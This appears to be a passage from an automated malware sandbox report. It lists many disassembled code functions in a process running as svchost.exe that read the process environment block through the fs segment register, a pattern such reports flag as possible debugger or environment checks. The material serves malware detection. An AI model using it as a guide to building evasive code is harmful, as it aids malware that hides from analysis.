Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030533A5 mov eax, dword ptr fs:[00000030h]	2_2_030533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030633A0 mov eax, dword ptr fs:[00000030h]	2_2_030633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030633A0 mov eax, dword ptr fs:[00000030h]	2_2_030633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC3CD mov eax, dword ptr fs:[00000030h]	2_2_030EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B63C0 mov eax, dword ptr fs:[00000030h]	2_2_030B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EB3D0 mov ecx, dword ptr fs:[00000030h]	2_2_030EB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF3E6 mov eax, dword ptr fs:[00000030h]	2_2_030EF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031053FC mov eax, dword ptr fs:[00000030h]	2_2_031053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030663FF mov eax, dword ptr fs:[00000030h]	2_2_030663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03067208 mov eax, dword ptr fs:[00000030h]	2_2_03067208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03067208 mov eax, dword ptr fs:[00000030h]	2_2_03067208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105227 mov eax, dword ptr fs:[00000030h]	2_2_03105227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302823B mov eax, dword ptr fs:[00000030h]	2_2_0302823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029240 mov eax, dword ptr fs:[00000030h]	2_2_03029240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029240 mov eax, dword ptr fs:[00000030h]	2_2_03029240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov eax, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov ecx, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306724D mov eax, dword ptr fs:[00000030h]	2_2_0306724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A250 mov eax, dword ptr fs:[00000030h]	2_2_0302A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EB256 mov eax, dword ptr fs:[00000030h]	2_2_030EB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EB256 mov eax, dword ptr fs:[00000030h]	2_2_030EB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036259 mov eax, dword ptr fs:[00000030h]	2_2_03036259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BD250 mov ecx, dword ptr fs:[00000030h]	2_2_030BD250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FD26B mov eax, dword ptr fs:[00000030h]	2_2_030FD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FD26B mov eax, dword ptr fs:[00000030h]	2_2_030FD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302826B mov eax, dword ptr fs:[00000030h]	2_2_0302826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03059274 mov eax, dword ptr fs:[00000030h]	2_2_03059274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03071270 mov eax, dword ptr fs:[00000030h]	2_2_03071270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03071270 mov eax, dword ptr fs:[00000030h]	2_2_03071270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105283 mov eax, dword ptr fs:[00000030h]	2_2_03105283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306329E mov eax, dword ptr fs:[00000030h]	2_2_0306329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306329E mov eax, dword ptr fs:[00000030h]	2_2_0306329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0 mov eax, dword ptr fs:[00000030h]	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0 mov eax, dword ptr fs:[00000030h]	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0 mov eax, dword ptr fs:[00000030h]	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0 mov eax, dword ptr fs:[00000030h]	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F92A6 mov eax, dword ptr fs:[00000030h]	2_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F92A6 mov eax, dword ptr fs:[00000030h]	2_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F92A6 mov eax, dword ptr fs:[00000030h]	2_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F92A6 mov eax, dword ptr fs:[00000030h]	2_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C72A0 mov eax, dword ptr fs:[00000030h]	2_2_030C72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C72A0 mov eax, dword ptr fs:[00000030h]	2_2_030C72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B92BC mov eax, dword ptr fs:[00000030h]	2_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B92BC mov eax, dword ptr fs:[00000030h]	2_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B92BC mov ecx, dword ptr fs:[00000030h]	2_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B92BC mov ecx, dword ptr fs:[00000030h]	2_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030392C5 mov eax, dword ptr fs:[00000030h]	2_2_030392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030392C5 mov eax, dword ptr fs:[00000030h]	2_2_030392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	2_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305F2D0 mov eax, dword ptr fs:[00000030h]	2_2_0305F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305F2D0 mov eax, dword ptr fs:[00000030h]	2_2_0305F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED mov eax, dword ptr fs:[00000030h]	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031052E2 mov eax, dword ptr fs:[00000030h]	2_2_031052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF2F8 mov eax, dword ptr fs:[00000030h]	2_2_030EF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030292FF mov eax, dword ptr fs:[00000030h]	2_2_030292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov ecx, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F0115 mov eax, dword ptr fs:[00000030h]	2_2_030F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060124 mov eax, dword ptr fs:[00000030h]	2_2_03060124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03031131 mov eax, dword ptr fs:[00000030h]	2_2_03031131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03031131 mov eax, dword ptr fs:[00000030h]	2_2_03031131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B136 mov eax, dword ptr fs:[00000030h]	2_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B136 mov eax, dword ptr fs:[00000030h]	2_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B136 mov eax, dword ptr fs:[00000030h]	2_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B136 mov eax, dword ptr fs:[00000030h]	2_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105152 mov eax, dword ptr fs:[00000030h]	2_2_03105152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov ecx, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029148 mov eax, dword ptr fs:[00000030h]	2_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029148 mov eax, dword ptr fs:[00000030h]	2_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029148 mov eax, dword ptr fs:[00000030h]	2_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029148 mov eax, dword ptr fs:[00000030h]	2_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03037152 mov eax, dword ptr fs:[00000030h]	2_2_03037152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C156 mov eax, dword ptr fs:[00000030h]	2_2_0302C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158 mov eax, dword ptr fs:[00000030h]	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172 mov eax, dword ptr fs:[00000030h]	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C9179 mov eax, dword ptr fs:[00000030h]	2_2_030C9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03070185 mov eax, dword ptr fs:[00000030h]	2_2_03070185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03087190 mov eax, dword ptr fs:[00000030h]	2_2_03087190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E11A4 mov eax, dword ptr fs:[00000030h]	2_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E11A4 mov eax, dword ptr fs:[00000030h]	2_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E11A4 mov eax, dword ptr fs:[00000030h]	2_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E11A4 mov eax, dword ptr fs:[00000030h]	2_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304B1B0 mov eax, dword ptr fs:[00000030h]	2_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306D1D0 mov eax, dword ptr fs:[00000030h]	2_2_0306D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306D1D0 mov ecx, dword ptr fs:[00000030h]	2_2_0306D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031051CB mov eax, dword ptr fs:[00000030h]	2_2_031051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
